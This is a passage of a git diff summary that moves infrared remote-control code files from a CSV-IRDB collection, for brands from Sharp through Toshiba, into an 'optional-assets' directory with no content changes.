optional-assets}/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir | 0 .../_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir | 0 .../_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/VCR/3,-1.ir | 0 .../_CSV-IRDB_/Sharp/Video Projector/13,-1.ir | 0 .../_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sherwood/Receiver/131,69.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir | 0 .../_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir | 0 .../_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir | 0 .../_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir | 0 .../_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir | 0 .../_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir | 0 .../_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir | 0 .../_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir | 0 .../_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir | 0 .../_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir | 0 .../_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir | 0 .../_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir | 0 .../_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir | 0 .../_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir | 0 .../_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir | 0 .../_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir | 0 .../_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir | 0 .../_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir | 0 .../_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir | 0 .../_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir | 0 .../_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir | 0 .../_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir | 0 .../_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir | 0 .../_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Snell/Speaker/80,0.ir | 0 .../_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir | 0 .../_CSV-IRDB_/Sonance/System Controller/132,132.ir | 0 .../_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Boombox/100,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Boombox/68,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Changer/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Player/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Player/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Player/57,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/CD Player/81,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DAT/28,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSP/26,233.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/1,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/11,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/183,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/23,133.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/5,1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/64,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/DV Cam/185,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/DV Cam/217,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DV Cam/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/164,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/26,218.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/26,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/26,83.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/26,98.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/4,-1.ir | 0 .../_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir | 0 .../_CSV-IRDB_/Sony/Digital Recorder/26,154.ir | 0 .../_CSV-IRDB_/Sony/Digital Recorder/26,73.ir | 0 .../_CSV-IRDB_/Sony/Digital Recorder/26,98.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/11,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/121,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/13,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/144,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/176,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/18,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/26,66.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/26,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/36,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/8,-1.ir | 0 .../_CSV-IRDB_/Sony/Surround Processor/26,233.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/1,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/119,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/151,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/164,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/183,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/26,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/26,42.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/84,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TiVo/183,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TiVo/23,133.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TiVo/26,154.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir | 0 .../_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir | 0 .../_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir | 0 .../_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/1,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/11,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/180,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/185,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/186,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/2,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/25,37.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/25,69.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/5,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/7,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/9,-1.ir | 0 .../_CSV-IRDB_/Sony/Video Projector/26,42.ir | 0 .../_CSV-IRDB_/Sony/Video Projector/84,-1.ir | 0 .../_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir | 0 .../_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir | 0 .../_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir | 0 .../_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir | 0 .../_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir | 0 .../_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir | 0 .../_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir | 0 .../_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir | 0 .../_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir | 0 .../_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir | 0 .../_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Symphonic/TV/41,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Symphonic/VCR/40,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Symphonic/VCR/44,-1.ir | 0 .../_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir | 0 .../_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir | 0 .../_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir | 0 .../_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir | 0 .../_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir | 0 .../_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir | 0 .../_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir | 0 .../_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir | 0 .../Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir | 0 .../_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir | 0 .../_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir | 0 .../_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir | 0 .../_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir | 0 .../_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir | 0 .../_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir | 0 .../_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir | 0 .../_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir | 0 .../_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir | 0 .../_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir | 0 .../_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir | 0 .../_CSV-IRDB_/Terratec/Internet Radio/4,243.ir | 0 .../_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir | 0 .../_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir | 0 .../_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir | 0 .../_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir | 0 .../_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir | 0 .../_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir | 0 .../_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir | 0 .../Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir | 0 .../_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir | 0 .../_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir | 0 .../_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir | 0 .../_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir | 0 .../_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir | 0 .../_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir | 0 .../_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/TiVo/PVR/26,154.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/TiVo/TiVo/133,48.ir | 0 .../_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir | 0 .../_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir | 0 .../_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir | 0 .../_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir | 0 .../_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir | 0 .../_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir | 0 .../_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Toshiba/TV/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir | 